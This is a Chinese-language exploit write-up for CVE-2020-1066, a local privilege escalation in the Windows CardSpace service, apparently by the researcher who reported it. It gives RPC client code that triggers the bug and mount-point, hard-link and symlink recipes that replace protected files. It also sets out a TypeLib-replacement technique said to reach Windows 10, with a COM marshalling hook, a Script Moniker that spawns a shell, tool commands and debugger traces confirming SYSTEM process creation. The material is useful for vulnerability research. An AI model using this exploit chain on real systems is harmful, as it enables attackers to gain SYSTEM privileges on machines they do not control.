CVE-2020-1066-EXP支持Windows 7和Windows Server 2008 R2操作系统
这个漏洞属于Windows CardSpace服务未正确处理符号链接对象导致的任意文件替换的本地权限提升漏洞
作者poc仅供研究目的,如果读者利用本poc从事其他行为,与本人无关
[toc]
适用于Windows7和Windows Server 2008 R2的普通用户和开启特殊配置的IIS用户
笔者是漏洞的提交者,漏洞更新于2020年5月.漏洞来自于Windows7和Windows Server 2008 R2的Windows CardSpace服务(简称idsvc),该服务可由任意用户启动,本身以System权限运行,并提供公开的RPC调用,服务在由用户触发移动位于当前用户环境变量%APPDATA%目录下指定配置文件时未正确处理符号链接对象,导致任意文件替换的本地权限提升,这是漏洞的成因. 由于是利用基于RPC调用就需要先获取服务的接口MIDL,这样才能编写本地代码与之交互.笔者推荐使用RpcView工具,具体方法可以参考RPC漏洞挖掘系列文章. 先使用如下方法获取符号文件,并在工具中进行符号配置,之后就可以反编译出RPC接口IDL文件,具体方法如下
//先配置环境变量[_NT_SYMBOL_PATH]值如下 SRV*C:\symbols*http://msdl.microsoft.com/download/symbols/ //手动下载符号,symchk.exe在windbg目录下 symchk.exe "C:\Windows\Microsoft.NET\Framework64\v3.0\Windows Communication Foundation\infocard.exe" /v //在RpcView工具点击Options->Configure Symbols,输入如下内容,注意大小写 srv*C:\symbols
BOOL StartRpcService() { RPC_STATUS status; unsigned int cMinCalls = 1; RPC_BINDING_HANDLE v5; RPC_SECURITY_QOS SecurityQOS = {}; RPC_WSTR StringBinding = nullptr; if (StartConnectingService()) { //Rpc协议的类型,协议名称 status = RpcStringBindingComposeW(nullptr, L"ncalrpc", 0, L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding); if (status){ printf("RpcStringBindingComposeW Failed:%d\n", status); return(status); } status = RpcBindingFromStringBindingW(StringBinding, &hBinding); RpcStringFreeW(&StringBinding); if (status){ printf("RpcBindingFromStringBindingW Failed:%d\n", status); return(status); } SecurityQOS.Version = 1; SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE; SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT; SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC; status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS); if (status){ printf("RpcBindingSetAuthInfoExW Failed:%d\n", status); return(status); } //绑定接口 status = RpcEpResolveBinding(hBinding, DefaultIfName_v1_0_c_ifspec); if (status){ printf("RpcEpResolveBinding Failed:%d\n", status); return(status); } } else { printf("Start Connecting Windows Cardspace Service Failed"); return 0; } return 0; }通过反编译idsvc服务代码得到具体工程(见相关项目).idsvc服务绑定了全局RPC接口的全局处理程序RequestFactory.ProcessNewRequest,对于初次调用即parentRequestHandle为0的情况调用CreateClientRequestInstance类处理回调,后续操作由CreateUIAgentRequestInstance类处理 ``` //全局RPC接口的全局处理程序 internal static int ProcessNewRequest( int parentRequestHandle, IntPtr rpcHandle, IntPtr inArgs, out IntPtr outArgs) { ... //初次调用 if (parentRequestHandle == 0) { using (UIAgentMonitorHandle monitorHandle = new UIAgentMonitorHandle()) { using (ClientRequest clientRequestInstance = RequestFactory.CreateClientRequestInstance(monitorHandle, structure.Type, rpcHandle, inStream, (Stream)outStream)) {
string extendedMessage; //反射出来后执行实例的DoProcessRequest方法处理请求 num = clientRequestInstance.DoProcessRequest(out extendedMessage); RpcResponse outArgs1; RequestFactory.ConvertStreamToIntPtr(outStream, out outArgs1); //返回结果 outArgs = outArgs1.Marshal(); } } }
idsvc服务会根据RpcRequest->Type字段种的类名反射出相应类处理回调,这里poc使用的是"ManageRequest"类;private static ClientRequest CreateClientRequestInstance( UIAgentMonitorHandle monitorHandle, string reqName, IntPtr rpcHandle,Stream inStream,Stream outStream) { ClientRequest clientRequest = (ClientRequest)null; lock (RequestFactory.screateRequestSync) { RequestFactory.RequestName request = RequestFactory.srequestMap[reqName]; if (-1 != Array.IndexOf(RequestFactory.suiClientRequests, request)) { Process contextMapping = ClientUIRequest.GetContextMapping(rpcHandle, true); InfoCardTrace.ThrowInvalidArgumentConditional(null == contextMapping, nameof(rpcHandle)); WindowsIdentity executionIdentity = NativeMcppMethods.CreateServiceExecutionIdentity(contextMapping); InfoCardUIAgent agent = monitorHandle.CreateAgent(contextMapping.Id, executionIdentity, tSSession); switch (RequestFactory.srequestMap[reqName]) { //这里使用的是"ManageRequest"类; case RequestFactory.RequestName.ManageRequest:
clientRequest = (ClientRequest)new ManageRequest(contextMapping, executionIdentity, agent, rpcHandle, inStream, outStream); break;
} }
触发ManageRequest实例的DoProcessRequest函数处理请求,省略中间步骤,最后调用StoreConnection.CreateDefaultDataSources()来到了利用点. 在与服务交互过程中服务会模拟用户(Impersonate Client)并获取用户配置文件,默认为用户环境变量%APPDATA%目录下指定配置文件,对于IIS用户特殊情况默认不加载配置文件需开启如下配置才可以实现,点击应用程序池->高级设置. 
//构造函数 protected StoreConnection(WindowsIdentity identity)
{ //这里的identity也就客户端身份 this.midentity = new WindowsIdentity(identity.Token); //获取用户环境变量的%APPDATA% this.mpath = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Microsoft\CardSpace\"); this.mlocalSource = this.mpath + "CardSpaceSP2.db"; } protected virtual void CreateDefaultDataSources(Hashtable list) { string str = this.mpath + "CardSpace.db"; //进入using块使用的idsvc服务身份,离开块后继续Impersonate Client using (new SystemIdentity(true)) { .... if (File.Exists(str)) { //替换文件,内部实现就是File.MoveTo等函数 this.AtomicFileCopy(str, this.mlocalSource); } } ... protected void AtomicFileCopy(string source, string destination) { if (!File.Exists(source)) return; //加上.atomic后缀,移动文件 File.Copy(source, source + ".atomic", true); FileInfo fileInfo = new FileInfo(source + ".atomic"); if (fileInfo.Length == 0L) return; fileInfo.MoveTo(destination); }
idsvc服务通过new SystemIdentity(true)切换回idsvc服务身份,调用AtomicFileCopy移动用户配置文件.在默认配置下%APPDATA%目录下的文件在可由当前用户可完全控制.当高权限进程对低权限进程可控制文件进行删除,移动,复制,设置属性等操作时,低权限进程均可利用此特权做一些其他操作.James Forshaw[@tiraniddo](https://twitter.com/tiraniddo)为我们提供了一套[开源工具](https://github.com/googleprojectzero/symboliclink-testing-tools),他在NTFS文件系统和Windows内部的开创性工作完成了所有繁重工作,实现了几种滥用Windows文件系统和路径解析功能的技术和利用方法.NTFS文件系统允许将一个用户控制目录挂载到另一个用户控制目录(挂载点Volume Mount Points和交叉点Junction Points),也允许通过符号链接Symbolic Links(NTFS重解析点Reparse Points)将一个目标链接至另一个,和硬链接(Hard Link)将一个用户可控制文件链接至另一个可读文件,以上方式均可导致恶意攻击者滥用高特权进程执行文件操作.对于poc中的利用,可使用如下两种方式对源文件和目标文件创建相应符号链接,第一种方式为挂载点和硬链接,这种方式只适用于win7,硬链接已被微软缓解,具体原因见[分析](http://whereisk0shl.top.park.bitcron.com/post/2019-06-08),第二种方式仍然可在win10实现利用,原理是通过任意用户可写对象目录\RPC Control链接至指定目录,然后继续链接\RPC Control目录下文件至指定文件,具体方式如下,关于符号链接的相关可以参考[上篇](https://www.4hou.com/posts/qV8D)和[下篇](https://www.4hou.com/posts/rE7B),这里不再赘述第一种方式, 挂载点和硬链接 C:\workspace\mountpoint -> C:\Users\Username\AppData\Local\Microsoft\CardSpace 源文件(挂载点) = C:\workspace\mountpoint\CardSpace.db(Fake.dll) -> C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db 目标文件(硬链接) =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> C:\Evil.dll 第二种方式,符号链接至 \RPC Control C:\Users\Username\AppData\Local\Microsoft\CardSpace -> \RPC Control 源文件 = C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db ->\RPC Control\CardSpace.db 目标文件 =C:\Users\Username\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic -> \RPC Control\CardSpace.db.atomic 源文件 = \RPC Control\CardSpace.db ->C:\Fake.dll 目标文件 = \RPC Control\CardSpace.db.atomic -> C:\Evil.dll
 从Process Monitor看出idsvc服务移动文件时并没使用模拟(Impersonate)用户身份操作,也没有判断文件的符号链接属性,就导致任意文件替换权限提升漏洞,以下是漏洞利用关键代码BOOL Exploit() { RpcRequest* req = (RpcRequest)CoTaskMemAlloc(sizeof(RpcRequest)); req->Type = L"ManageRequest"; req->Length = 0; req->Data = 0; RpcResponse rep = (RpcResponse)CoTaskMemAlloc(sizeof(RpcResponse)); UINT32 ctx = 0; long ret = Proc0RPCClientBindToService(hBinding, (void**)&ctx); printf("Proc0RPCClientBindToService :%d\n", ret); ret = Proc2RPCDispatchClientUIRequest((void**)&ctx, req, &rep); printf("Proc2RPCDispatchClientUIRequest :%08x\n", ret); return 0; } ```
笔者设计了一种新的基于任意文件替换的提权利用方式,原型来自CVE-2017-0213,这种方式适用于Windows7至Windows10所有版本操作系统,但前提是要被替换的文件不是TrustedInstaller控制权限,才可以触发漏洞,原因是TrustedInstaller权限高于其他权限,如果直接执行替换操作,即使是以System权限操作结果都是拒绝访问,一般只有管理员权限或者System权限的文件才符合条件.笔者制作了一个工具用于搜索指定目录下可替换文件,在相关项目列表中提供,也可以使用微软SysinternalsSuite中的accesschk工具,启动命令行如下,最后一个参数为指定目录文件
//[SysinternalsSuite]工具模式,最后一个参数为指定目录文件 accesschk.exe -s -w "nt authority\system" c:\windows\system32\*.dll //笔者工具中的查找模式,参数为目标路径和后缀名 MyComEop.exe v [find path] [extension] //深度查找模式,参数为目标路径和后缀名 MyComEop.exe d [find path] [extension]对于Windows7系统笔者使用以上工具找到了一些系统自带的TypeLib(类型库)文件可以实现利用,对于Windows10等高版本系统也找到了一个可以被System用户写入的系统自带TypeLib,更好的情况是对于安装了第三方软件注册的Com组件的基本上都存在类似TypeLib文件符合条件,所以必定存在这种利用方式的利用价值.
Windows7系统TypeLib位于: C:\Windows\Microsoft.NET\Framework\v4.0.30319\System.EnterpriseServices.tlb Windows10等高版本系统TypeLib位于: C:\Windows\System32\SysFxUI.dll
MyComEop.exe u "{E6DB299B-B925-415A-879B-4A76D072F39A}" "IMyPageFactory" "{87D5F036-FAC3-4390-A1E8-DFA8A62C09E7}" "C:\Windows\System32\SysFxUI.dll" true如果读者找到符合条件TypeLib后可以用Windows SDK中的OleView工具打开,选择任意一个Interface分别提取出这3个参数IIDInterface,InterfaceName,TypeLibGUID就可以使用利用工具中的高级模式实现利用,这里笔者使用的是这个Windows7系统一个自带的TypeLib进行演示.
typedef struct tagSTDOBJREF {
DWORD flags;
DWORD cPublicRefs;
//对象所处的套间的标识符,在套间建立时会为套间建立一个OXID,叫做对象引出标识符
OXID oxid;
//存根管理器的标识符
OID oid;
//接口存根标识符,用来唯一的标识套间中的一个接口指针,这跟接口的IID是不同的,IID是用来标识
IPID ipid;
} STDOBJREF;
typedef struct tagOBJREF { unsigned long signature;//MEOW unsigned long flags; GUID iid; union { struct { STDOBJREF std; DUALSTRINGARRAY saResAddr; } ustandard; struct { STDOBJREF std; CLSID clsid; DUALSTRINGARRAY saResAddr; } uhandler; struct { CLSID clsid; unsigned long cbExtension; unsigned long size; ULONGLONG pData; } ucustom; } uobjref; } OBJREF;
这里flags为OBJREF_STANDARD(0x01),表示使用标准Unmarshal方式(CStdMarshal),对应的下方联合体的是STDOBJREF,至于其他flags类型均有自定义的unmarshal方式,不在本文的讨论范围,请读者自行研究.而最终导致实现漏洞利用的是其中的iid字段,通过逆向研究发现替换这个iid(也就是oleview中找到的接口IID_Interface)就可以触发bits服务加载这个iid对应com组件对象的TypeLib(类型库),也就是说任意TypeLib反序列化.最终替换TypeLib文件构造为嵌套的TypeLib结构就可以运行Script Moniker来GetShell.这里附上漏洞利用关键代码:
virtual HRESULT STDMETHODCALLTYPE MarshalInterface( /* [annotation][unique][in] / In IStream *pStm, / [annotation][in] / In REFIID riid, / [annotation][unique][in] / Inopt_ void *pv, / [annotation][in] / In DWORD dwDestContext, / [annotation][unique][in] / Reserved void *pvDestContext, / [annotation][in] / In DWORD mshlflags) { IStorage stg; ILockBytes* lb; CreateILockBytesOnHGlobal(nullptr, TRUE, &lb); StgCreateDocfileOnILockBytes(lb, STGMCREATE | STGMREADWRITE | STGMSHAREEXCLUSIVE, 0, &stg); ULONG cbRead; ULONG cbWrite; IStreamPtr pStream = nullptr; HRESULT hr = CreateStreamOnHGlobal(0, TRUE, &pStream); LARGEINTEGER dlibMove = { 0 }; ULARGEINTEGER plibNewPosition; hr = CoMarshalInterface(pStream, IIDIUnknown, staticcast(stg), dwDestContext, pvDestContext, mshlflags); OBJREF* headerObjRef = (OBJREF*)malloc(1000); hr = pStream->Seek(dlibMove, STREAMSEEKSET, &plibNewPosition); hr = pStream->Read(headerObjRef, 1000, &cbRead); printf("[+]MarshalInterface: %ls %p\n", IIDToBSTR(IIDInterfaceFake).GetBSTR(), this); //IIDInterfaceFake就是找到的接口IIDInterface headerObjRef->iid = IIDInterfaceFake; hr = pStm->Write(headerObjRef, cbRead, &cbWrite); return hr;
}
从调试结果可以看到CStdMarshal::UnmarshalInterface最终调用了LoadTypeLibEx,传入iid是IID_InterfaceFake(来自OBJREF),第二次调用LoadTypeLibEx加载了Script Moniker.证明确实可以HOOK高权限进程反序列化加载任意TypeLib
1: kd> bp OLEAUT32!GetTypeInfoOfIID Breakpoint 0 hit OLEAUT32!GetTypeInfoOfIID: 0033:000007fe
febf0140 4533c0 xor r8d,r8d //继续调试.... 0: kd> p OLEAUT32!GetTypeInfoOfIIDFwd+0x19: 0033:000007fefebefd09 4889842480030000 mov qword ptr [rsp+380h],rax 0: kd> r rax=0000113b9b912356 rbx=0000000000000000 rcx=00000000059f912c rdx=00000000033ae060 rsi=00000000059f9150 rdi=00000000059f9148 rip=000007fefebefd09 rsp=00000000033adc80 rbp=0000000000000002 r8=0000000000000000 r9=0000000000000000 r10=0000000000000000 r11=00000000033ae088 r12=00000000059f912c r13=0000000000000001 0: kd> dt GUID @rcx //查看这个参数 ole32!GUID {55e3ea25-55cb-4650-8887-18e8d30bb4bc}=传入iid是IIDInterfaceFake //下这个断点 1: kd> bp OLEAUT32!LoadTypeLibEx 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fe
feb6a550 fff3 push rbx //第一次加载的是目标TypeLib 1: kd> dc @rcx L50 0000000002c8e070 003a0043 0057005c 006e0069 006f0064 C.:..W.i.n.d.o. 00000000
02c8e080 00730077 004d005c 00630069 006f0072 w.s.\.M.i.c.r.o. 0000000002c8e090 006f0073 00740066 004e002e 00540045 s.o.f.t...N.E.T. 00000000
02c8e0a0 0046005c 00610072 0065006d 006f0077 \.F.r.a.m.e.w.o. 0000000002c8e0b0 006b0072 0076005c 002e0034 002e0030 r.k..v.4...0... 00000000
02c8e0c0 00300033 00310033 005c0039 00790053 3.0.3.1.9.\.S.y. 0000000002c8e0d0 00740073 006d0065 0045002e 0074006e s.t.e.m...E.n.t. 00000000
02c8e0e0 00720065 00720070 00730069 00530065 e.r.p.r.i.s.e.S. 0000000002c8e0f0 00720065 00690076 00650063 002e0073 e.r.v.i.c.e.s... 00000000
02c8e100 006c0074 00000062 001e6e38 00000000 t.l.b...8n...... 0000000002c8e110 059f92e0 00000000 02c8e180 00000000 ................ 0: kd> kv # Child-SP RetAddr : Args to Child : Call Site 00 00000000
0391d828 000007fefebf00eb : 00000000
00000ed8 0000000000000000 00000000
0391d9a0 000000000391d870 : OLEAUT32!LoadTypeLibEx 01 00000000
0391d830 000007fefebf0f4f : 000007fe
ff6c71c0 000007feff661889 00000000
0371f310 0000000000000000 : OLEAUT32!GetTypeInfoOfIIDFwd+0x3fb 02 00000000
0391dbe0 000007fefebf1149 : 00000000
00284210 000000000371f310 00000000
00284240 0000000000284248 : OLEAUT32!FilterReferencedTypeInfos+0x3df 03 00000000
0391dc40 000007feff51e46a : 00000000
00000000 0000000003715ea0 00000000
00284210 0000000000284210 : OLEAUT32!CProxyWrapper::Connect+0x79 04 00000000
0391dc90 000007feff51e233 : 00000000
0371f310 0000000000000000 00000000
0378aaf8 0000000000284210 : ole32!CStdMarshal::ConnectCliIPIDEntry+0x1ca [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2368] 05 00000000
0391dd00 000007feff51e114 : 00000000
0391df50 000000000391e618 00000000
0378aaf8 0000000000000000 : ole32!CStdMarshal::MakeCliIPIDEntry+0xc3 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 2189] 06 00000000
0391dd90 000007feff5211ec : 00000000
03715ea0 000000000391df68 00000000
0391e618 0000113b9a2802cf : ole32!CStdMarshal::UnmarshalIPID+0x70 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1734] 07 00000000
0391dde0 000007feff5210b7 : 00000000
00000000 00000000059e7610 00000000
00000000 0000000000000000 : ole32!CStdMarshal::UnmarshalObjRef+0x10c [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1618] 08 00000000
0391de80 000007feff52106c : 00000000
0378aaf8 000000000391df50 00000000
00000001 00000000037daf90 : ole32!UnmarshalSwitch+0x2b [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1279] 09 00000000
0391deb0 000007feff64a0c5 : 00000000
0378aaf8 0000000000000000 00000000
0365efb0 0000001800000000 : ole32!UnmarshalObjRef+0xc0 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1406] //使用的是标准反序列化模式 0a 00000000
0391df30 000007feff5232a6 : 00000000
037daf90 000007fefee64366 00000000
001cf840 000007fefedec704 : ole32!CStdMarshal::UnmarshalInterface+0x45 [d:\w7rtm\com\ole32\com\dcomrem\marshal.cxx @ 1238] 0b 00000000
0391dfd0 000007feff523542 : 000007fe
00000002 000000000391e340 00000000
0391db00 0000000000000000 : ole32!CoUnmarshalInterface+0x19c [d:\w7rtm\com\ole32\com\dcomrem\coapi.cxx @ 957] 0c 00000000
0391e0b0 000007fefedf523e : 00000000
0363fdd4 000000000391e340 000007fe
00000001 000000000029f880 : ole32!NdrExtInterfacePointerUnmarshall+0x162 [d:\w7rtm\com\rpc\ndrole\oleaux.cxx @ 1354] 0d 00000000
0391e120 000007fefedff6cf : 000007fe
00000000 000000000391e4f0 00000000
0391e618 0000000000000000 : RPCRT4!IUnknownAddRefProxy+0x19e 0e 00000000
0391e190 000007fefede6e1c : 00000000
0391e340 000007fefede78d7 00000000
0391e4f0 000000000023e760 : RPCRT4!NdrPointerUnmarshall+0x2f 0f 00000000
0391e1d0 000007fefede68e3 : 00000000
00000020 000007fefaac1342 00000000
0391e618 000007fefaac1af0 : RPCRT4!NdrStubCall2+0x73c 10 00000000
0391e240 000007fefede7967 : 00000000
0391e9b0 000007fefb63a250 00000000
0391e9b0 000007fefb63a250 : RPCRT4!NdrStubCall2+0x203 11 00000000
0391e860 000007feff660883 : 00000000
00000000 0000000000000000 00000000
0391ec60 0000000003715ff0 : RPCRT4!IRpcGetBuffer+0xc7 12 00000000
0391e8c0 000007feff660ccd : 00000000
00000000 0000000000000000 000007fe
fb63a201 0000000000000000 : ole32!CStdStubBufferInvoke+0x5b [d:\w7rtm\com\rpc\ndrole\stub.cxx @ 1586] 13 00000000
0391e8f0 000007feff660c43 : 00000000
0023e760 000000000378a994 00000000
036ce6a0 000007feec046040 : ole32!SyncStubInvoke+0x5d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1187] 14 00000000
0391e960 000007feff51a4f0 : 00000000
0023e760 00000000037daf90 00000000
0023e760 000000000391ecd0 : ole32!StubInvoke+0xdb [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1396] 15 00000000
0391ea10 000007feff6614d6 : 00000000
00000000 0000001800000010 00000000
037958a0 0000000003715ff0 : ole32!CCtxComChnl::ContextInvoke+0x190 [d:\w7rtm\com\ole32\com\dcomrem\ctxchnl.cxx @ 1262] 16 00000000
0391eba0 000007feff66122b : 00000000
d0908070 00000000037daf90 00000000
01d93e30 0000000003769be0 : ole32!AppInvoke+0xc2 [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1086] 17 00000000
0391ec10 000007feff65fd6d : 00000000
037daf90 00000000037daf90 00000000
03715ff0 0000000000070005 : ole32!ComInvokeWithLockAndIPID+0x52b [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 1727] 18 00000000
0391eda0 000007fefede50f4 : 000007fe
ff6c9930 0000000000000000 00000000
037241b0 000007fefedde8f7 : ole32!ThreadInvoke+0x30d [d:\w7rtm\com\ole32\com\dcomrem\channelb.cxx @ 4751] 19 00000000
0391ee40 000007fefede4f56 : 000007fe
ff670ab0 0000000000000001 00000000
0391f0b0 000007feff4f8ffc : RPCRT4!NdrServerCall2+0x1d84 1a 00000000
0391ee70 000007fefede775b : 00000000
0378a970 0000000000000000 00000000
0391f194 000000000378a970 : RPCRT4!NdrServerCall2+0x1be6 1b 00000000
0391ef90 000007fefede769b : 00000000
00000000 000000000391f0b0 00000000
0391f0b0 00000000037241b0 : RPCRT4!IRpcBindingInqTransportType+0x32b 1c 00000000
0391efd0 000007fefede7632 : 00000000
0378a970 000000000378a970 00000000
0378a970 000007fefede6140 : RPCRT4!IRpcBindingInqTransportType+0x26b 1d 00000000
0391f050 0000000000000000 : 00000000
00000000 0000000000000000 00000000
00000000 0000000000000000 : RPCRT4!IRpcBindingInqTransportType+0x202 //第二次加载的就是嵌套的TypeLib对应Script Moniker的script:xxx.sct脚本文件 1: kd> g Breakpoint 3 hit OLEAUT32!LoadTypeLibEx: 0033:000007fe
feb6a550 fff3 push rbx 1: kd> dc @rcx L50 0000000002c8dd70 00630073 00690072 00740070 0043003a s.c.r.i.p.t.:.C. 00000000
02c8dd80 005c003a 006c0064 0074005c 00730065 :.\.d.l.\.t.e.s. 0000000002c8dd90 005c0074 006b006f 0072005c 006e0075 t..o.k..r.u.n. 00000000
02c8dda0 0073002e 00740063 01e50000 00000000 ..s.c.t......... 0000000002c8ddb0 037efc30 00000000 feb6733c 000007fe 0.~.....<s......
Com组件服务器端所在的套间(Apartment)维护着Com接口存根(stub)对象列表,每个存根对象都维护着对Com对象的一个引用,根据这个Com对象接口的iid信息在注册表的HKEY_CLASSES_ROOT/Interface下查找子键iid的ProxyStubClsid32子健下的默认值,这个默认值是一个存根对象的CLSID。然后Com根据CLSID调用CoGetClassObject函数请求代理类厂接口IPSFactoryBuffer->CreateStub建立一个接口存根对象.相应的在Com组件的客户端套间上都维护着代理(proxy)对象列表,在对OBJREF进行Unmarshal时搜索匹配存根对象的[oxid,oid,ipid]调用IPSFactoryBuffer->CreateProxy创建对应代理,通过接口IDL文件中定义函数申明构建出物理栈,然后再通过RPCRT4.dll中实现IRpcChannel通道调用真实的接口函数与存根进行通信,从而实现Com远程过程(RPC)调用.  代理的创建IPSFactoryBuffer->CreateProxy默认被封装成CreateProxyFromTypeInfo函数实现,这个函数的调用过程和TypeLib中的TypeInfo的相关,原因是其中TypeInfo在TypeLib中定义了接口的相关类型信息.因此这个过程中实际上必定需要调用LoadTypeLib函数来加载TypeLib和其中的TypeInfo,这也是触发漏洞最关键的一点.通过逆向分析LoadTypeLib函数调用过程,发现其具体是通过操作注册表实现.对于每个接口信息位于注册表HKEY_CLASSES_ROOT\Interface\[接口IID],其中子键TypeLib对应接口的TypeLib_GUID,接下来对应的TypeLib位于HKEY_CLASSES_ROOT\TypeLib\\[TypeLib_GUID],其中对应版本的子键值就是TypeLib路径.由于一个接口可能存在多个对应版本的TypeLib子键,而反序列化时默认只加载其中一个.笔者通过逆向还原oleaut32.dll中的实现,在漏洞利用工具中实现自动匹配对应TypeLib文件并利用,具体逆向结果如下:
wchart *stdcall GetTypeInfoOfIIDFwd(GUID rguid, struct ITypeInfo *a2, int a3) { wchart result; // eax unsigned _int16 versionLookUp; // bx unsigned _int16 versionLookUpNext; // ax DWORD v6; // ebx LSTATUS i; // eax HRESULT v8; // eax wchar_t *v9; // ebx HRESULT v10; // eax int foundDotted; // [esp+8h] [ebp-31Ch] GUID *v12; // [esp+Ch] [ebp-318h] struct ITypeInfo *v13; // [esp+10h] [ebp-314h] struct ITypeInfo *v14; // [esp+14h] [ebp-310h] wchart *EndPtr; // [esp+18h] [ebp-30Ch] LONG cbData; // [esp+1Ch] [ebp-308h] ITypeLib *pptlib; // [esp+20h] [ebp-304h] unsigned _int16 SubVersion[2]; // [esp+24h] [ebp-300h] DWORD dwIndex; // [esp+28h] [ebp-2FCh] unsigned _int16 Version[2]; // [esp+2Ch] [ebp-2F8h] HKEY v21; // [esp+30h] [ebp-2F4h] HKEY v22; // [esp+34h] [ebp-2F0h] HKEY phkResult; // [esp+38h] [ebp-2ECh] HKEY hKey; // [esp+3Ch] [ebp-2E8h] CLSID pclsid; // [esp+40h] [ebp-2E4h] WCHAR Data; // [esp+50h] [ebp-2D4h] wchart Dst; // [esp+258h] [ebp-CCh] unsigned _int16 tempData; // [esp+268h] [ebp-BCh] OLECHAR sz; // [esp+26Ch] [ebp-B8h] wchart SubKey; // [esp+2E8h] [ebp-3Ch] WCHAR Name; // [esp+304h] [ebp-20h] v12 = rguid; v13 = a2; if ( a3 >= 16 ) return (wchart *)-2147319779; result = (wchart *)MapIIDToFusionTypeInfo(rguid, a2); if ( (signed int)result < 0 ) return result; if ( result != (wchart *)1 ) goto LABEL57; hKey = (HKEY)-1; phkResult = (HKEY)-1; v22 = (HKEY)-1; v21 = (HKEY)-1; pptlib = 0; //先找Interface wcscpys(&Dst, 0x47u, L"Interface\"); StringFromGUID2(rguid, &sz, 39); //如果存在Forward wcscats(&Dst, 0x47u, L"\Forward"); cbData = 520; if ( QueryClassesRootValueW(&Dst, &Data, &cbData) || CLSIDFromString(&Data, &pclsid) || GetTypeInfoOfIIDFwd(&pclsid, a2, a3 + 1) ) { *(DWORD *)SubVersion = 0; *(DWORD *)Version = 0; //找里面的TypeLib wcscpys(&Dst, 0x47u, L"TypeLib\"); result = SzLibIdOfIID(rguid, &tempData, 40, Version, SubVersion, &foundDotted); if ( (signed int)result >= 0 ) { //打开ClassesRoot根节点 if ( OpenClassesRootKeyW(&Dst, &hKey) ) { result = (wchart *)-2147319779; } else { SubKey = 0; //查找子健,枚举版本号 for ( dwIndex = 0; !RegEnumKeyW(hKey, dwIndex, &Name, 0xDu); ++dwIndex ) { versionLookUp = wcstoul(&Name, &EndPtr, 16); if ( *EndPtr == '.' ) { if ( (versionLookUpNext = _wcstoul(EndPtr + 1, 0, 16), !foundDotted) && versionLookUp > Version[0] || versionLookUp == Version[0] && versionLookUpNext >= SubVersion[0] ) { *(DWORD *)SubVersion = versionLookUpNext; *(DWORD *)Version = versionLookUp; wcscpys(&SubKey, 0xDu, &Name); } } } if ( !RegOpenKeyW(hKey, &SubKey, &phkResult) ) { if ( phkResult == hKey ) hKey = (HKEY)-1; v6 = 0; //继续枚举子健 for ( i = RegEnumKeyW(phkResult, 0, &Dst, 0x10u); !i; i = RegEnumKeyW(phkResult, v6, &Dst, 0x10u) ) { if ( FIsLCID(&Dst) ) { if ( RegOpenKeyW(phkResult, &Dst, &v22) || RegOpenKeyW(v22, L"win32", &v21) && (RegEnumKeyW(v22, 0, &Dst, 6u) || RegOpenKeyW(v22, &Dst, &v21)) ) { break; } cbData = 520; if ( RegQueryValueW(v21, 0, &Data, &cbData) ) break; //找到后就加载 v8 = LoadTypeLib(&Data, &pptlib); v9 = (wchart *)v8; if ( !v8 || v8 >= 0 ) { //根据GUID查找TypeInfo v10 = pptlib->lpVtbl->GetTypeInfoOfGuid(pptlib, v12, &v14); v9 = (wchart *)v10; if ( !v10 || v10 >= 0 ) { *v13 = v14; v9 = 0; } } goto LABEL_26; } ++v6; } } ....
每个TypeLib可以是嵌套的TypeLib结构,而加载嵌套的TypeLib也会递归调用LoadTypeLibEx,具体构造方法参考利用工具代码和[微软官方API](https://docs.microsoft.com/en-us/windows/win32/api/oaidl/nn-oaidl-itypelib2).这样就可以在递归加载TypeLib时指定一个不存在的TypeLib文件路径,就可以被当作一个[Moniker](https://docs.microsoft.com/en-us/windows/win32/api/objidl/nn-objidl-imoniker)来解析,通过Moniker的DisplayName.这里用的是Script Monike,即script:xxx.sct脚本文件,最终Script Moniker被解析触发BindToObject,以Unmarshal反序列化调用者权限启动Shell,原理如下:
HRESULT __stdcall LoadTypeLibEx(LPCOLESTR szFile, REGKIND regkind, ITypeLib **pptlib) {
...
ptlib = OLETYPEMGR::LookupTypeLib(gpoletmgr, szFile, syskind);
if ( ptlib )
goto LABEL31;
//Typelib文件路径不存在时
if ( FindTypeLib(szFileNameRef, (LONG)&szFullPath, v5) )
{
if ( CreateBindCtx(1u, &ppbc) )
goto LABEL67;
v8 = SysAllocString(szFileNameRef);
if ( v8 )
{
//可以解析成解析Script Moniker
stat = MkParseDisplayName(ppbc, v8, &pchEaten, &ppmk);
SysFreeString(v8);
if ( !stat )
{
//启动shell
stat = ppmk->lpVtbl->BindToObject(ppmk, ppbc, 0, &IIDITypeLib, (void **)&ptlib);
ppmk->lpVtbl->Release(ppmk);
}
}
...
 对比Process Monitor,以下是Script Moniker最终创建进程的调试结果Breakpoint 0 hit kernel32!CreateProcessW: 0033:00000000
77741bb0 4883ec68 sub rsp,68h //启动的就是exp 0: kd> dc @rdx 000000000378b9f8 00430022 002f003a 006c0064 0074002f ".C.:./.d.l./.t. 00000000
0378ba08 00730065 002f0074 006b006f 004d002f e.s.t./.o.k./.M. 000000000378ba18 00430079 006d006f 006f0045 002e0070 y.C.o.m.E.o.p... 00000000
0378ba28 00780065 00220065 00310020 00000000 e.x.e.". .1..... 000000000378ba38 00000000 00000000 00000000 00000000 ................ 00000000
